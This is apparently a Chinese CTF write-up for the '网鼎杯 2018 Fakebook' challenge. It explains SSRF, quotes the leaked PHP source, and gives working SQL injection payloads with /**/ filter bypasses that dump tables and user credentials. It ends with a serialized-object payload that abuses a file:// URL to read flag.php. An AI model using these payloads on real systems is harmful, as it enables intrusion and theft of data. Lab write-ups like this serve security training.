ssrf
一些函数表示:
//创建一个curl资源
$ch=curl_init();
//设置URL和相应的选项
curl_setopt($ch,CURLOPT_URL,"http://XXXXXXX/“);
curl_setopt($ch,CURLOPT_HEADER,0);//设置成0表示将返回的内容直接输出,若是1或者true则是直接存储不输出
//抓取url并传给浏览器
curl_exec($ch);
//关闭curl系统,并释放系统资源
curl_close($ch);
题目:[网鼎杯 2018]Fakebook
robots.txt源码泄露,下载下来分析源码,
存在过滤
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}//在blog处存在过滤
并且get函数中存在ssrf漏洞
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//将变量存储
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
(ssrf:
概念:服务端请求伪造(Server-Side Request Forgery),指的是攻击者在未能取得服务器所有权限时,利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。
原理:利用存在缺陷的web应用作为代理攻击远程和本地的服务器。一般情况下, SSRF攻击的目标是外网无法访问的内部系统,黑客可以利用SSRF漏洞获取内部系统的一些信息(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)。SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。
漏洞利用:利用file协议读取本地敏感文件)
注册一个账号,用户名可以打开,发现参数no,发现存在sql注入
判断字段数,5时候报错,有4个
经过测试发现要绕过waf,用/**/
找到注入点(这里注意要将no的参数改一下,我的理解是如果是1的话只能是将变量存储而不能输出,所以要改为0,不然页面上并没有回显)
爆表名
是facebook
爆表名,是users
?no=0/**/union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'--+
爆列名
?no=0/**/union/**/select 1,group_concat(table_name),3,4 from information_schema.columns where table_schema='fakebook' and table_name='users'--+
查数据
?no=0%20union/**/select%201,group_concat(no,%27-%27,username,%27-%27,passwd,%27-%27,data),3,4%20from%20fakebook.users%20--+
data处反序列化
用ssrf漏洞读取flag.php
payload:
?no=0%20union/**/select%201,2,3,'O:8:"UserInfo":3:{s:4:"name";s:2:"oo";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'--+
在源码中访问链接找到flag